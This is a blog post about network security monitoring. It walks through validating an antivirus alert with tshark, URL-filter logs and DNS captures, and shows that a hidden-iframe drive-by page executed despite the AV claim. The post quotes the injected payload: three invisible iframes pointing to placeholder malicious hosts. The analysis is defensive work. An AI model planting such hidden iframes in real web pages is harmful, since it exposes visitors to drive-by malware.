Prevention Eventually Fails, part one
Here’s a quick example of preventative measures (in this case anti-virus) failing, and how NSM can help us out.
An AV alert is raised saying that a nasty threat has been detected and removed from a machine. The staff responsible for the organisation’s servers and workstations rejoice – another success for their fine security measures!
Meanwhile, the network security staff see the alert also, and decide to do some digging of their own. The AV alert says something along the lines of:
“Hello, I have deleted an instance of JS/Tenia.d on a machine at 10.6.7.130 from C:\Documents and Settings\some.user\Local Settings\Temporary Internet Files\Content.IE5\some.directory\somefile.htm at 1/22/09 10:48:03 AM”
OK, so AV has removed a file from IE’s cache. Let’s research the threat a little – it says that it’s a detection of <iframe> tags after the document’s closing </html> tag. Minimally, this is malformed HTML – at worst, it’s some hostile code targetting the user’s browser.
But AV caught it, and we’re safe…
The NSM methodology advocates the validation of all reported security events, such as those fired by automated systems like AV and IDS. We can leap into action here and satisfy ourselves that AV did its job and that we are, indeed, in the clear.
The first task is to work out where the suspect HTML came from in the first place. We know the name of the file from the AV report, and if we really wanted to we could parse the user’s IE history to find out where it came from.
But we don’t want to do something so grubby as interfering with someone’s machine. For one thing, our investigation will leave a forensic footprint on the machine that may hinder a subsequent examination. If we discover evidence of an actual crime, we don’t want our meddling with the machine to have inadvertently destroyed any evidence or introduced any artefacts that a defence barrister could use to discredit us. Let’s leave the machine alone and see what the network can tell us.
We know when the AV alert was raised, and we know the IP address of the infected machine. From this and from the full-content data we’ve been capturing, we can build a picture of the user’s browsing activity. If we locate the capture file that spans the time period we’re interested in, we can invoke a little tshark-fu:
tshark -r yourfile.pcap -R "http.request and ip.src eq 10.6.7.130" -T fields -e frame.time -e http.host -e http.request.uri
This will give us a brief account of 10.6.7.130′s web browsing history, based upon what tshark can understand as an HTTP request (so we’re not going to see any HTTP on odd ports, for example, but it’s a good start!).
Alternatively, there may be other sources of information at our disposal. We may have proxy server logs, or URL filter logs, etc. However we do it, we will be able to determine the user’s browsing history without touching their machine.
Once we’ve got the history, we need to find somefile.htm. The “” part is put there by IE when the file is cached, so we’re really after somefile.htm. We can look back through the user’s history and locate the full URL, based upon the time of the AV detection and the name of the file. This snippet came from the URL filter server scrutinising the user’s web browsing activity:
Jan 22 2009 10:42:47 10.6.7.130 Accessed URL http://some.server/somefile.htm
This looks like it. There is a discrepancy in the timings, though. The timestamp above came from the carefully-synchronised device that performed the URL filtering. The timestamp in the AV report came from the suspect computer, whose clock is clearly a little out!
Now, to see if this file really is hostile (as AV claims), we can either fetch this URL in our carefully controlled lab environment, or we can extract it from the full-content capture.
Once we’ve recovered somefile.htm, we can see that there are indeed <iframe> tags after the closing </html> tag (hidden ones, too). Woohoo! AV did save us! The server and workstation team are laughing at us for expending all this effort to confirm what they already know! They’re on their way to the Bosses right now to explain how useless the NSM team is, and how all the NSM budget should be transferred to them! They’re planning the farewell party for when the imminently-redundant NSM team gets fired as a waste of resources!
Whilst all of this is going on, the NSM team continue the investigation by thinking about how a file moves from a web server to IE’s cache directory:
- A file only gets into the IE cache directory once IE has downloaded it.
- If IE has downloaded it, it means that IE has likely rendered it.
- If it has rendered it, it means that any hostile code has already been executed.
Theory: deleting something from IE’s cache isn’t necessarily as good a thing as one might think. You may have been compromised by the hostile page, even though AV is claiming to have saved you.
How can we prove it, one way or the other?
We can carry on looking through the user’s network history that we’ve assembled already. We’ve carefully fetched the infected file, so we can see the URLs that were in the hidden <iframe>s. Did the user fetch these? If AV has been effective, we won’t see any trace of the <iframe>s being acted on.
Looking at our hostile file we see three hidden <iframe>s in it:
<iframe src="http://bad.server.one/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0></iframe> <iframe src="http://bad.server.two/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0></iframe> <iframe src="http://bad.server.three/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0></iframe>
…and our URL history shows this:
Jan 22 2009 10:42:48 10.6.7.130 Access denied URL http://bad.server.one/count.php?o=2
OK, a denied attempt on bad.server.one. It was blocked because the URL filter server (another preventative measure that was employed in this instance) decided that bad.server.one was malicious and that the user shouldn’t be allowed to fetch content from it. If we check the HTTP referrer for this request (either from the URL filter logs or by extracting it from our full-content capture) we can see that it was the file that AV was complaining about in the first place:
GET /count.php?o=2 HTTP/1.1 Host: bad.server.one Referer: http://some.server/somefile.htm
This is proof that AV did not save us from anything at all. The threat was allowed to execute, and an attempt was made to download malicious content. The smug server/workstation team were not defended at all, and, even worse, were lulled into a false sense of security by the misleading AV report.
Time to cancel that farewell party, chaps.
There’s just one piece of the puzzle left to explain. Three <iframe>s were present, but only one was observed to be fetched by the browser. Why was this?
If we expand our analysis of the full-content capture we can see why. We can see DNS queries for bad.server.one, bad.server.two and bad.server.three, but only the query for bad.server.one actually comes back with an IP address – the other two come back as “no such name”. If there’s no DNS lookup, no TCP connection can be made to fetch the content for the second and third <iframe>s.
The moral of the story is that your AV solution might not be telling you the whole truth. Use NSM techniques to fully investigate the cirumstances surrounding the alert, and satisfy yourself that nothing bad is going on!
Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters(at)dataline.co.uk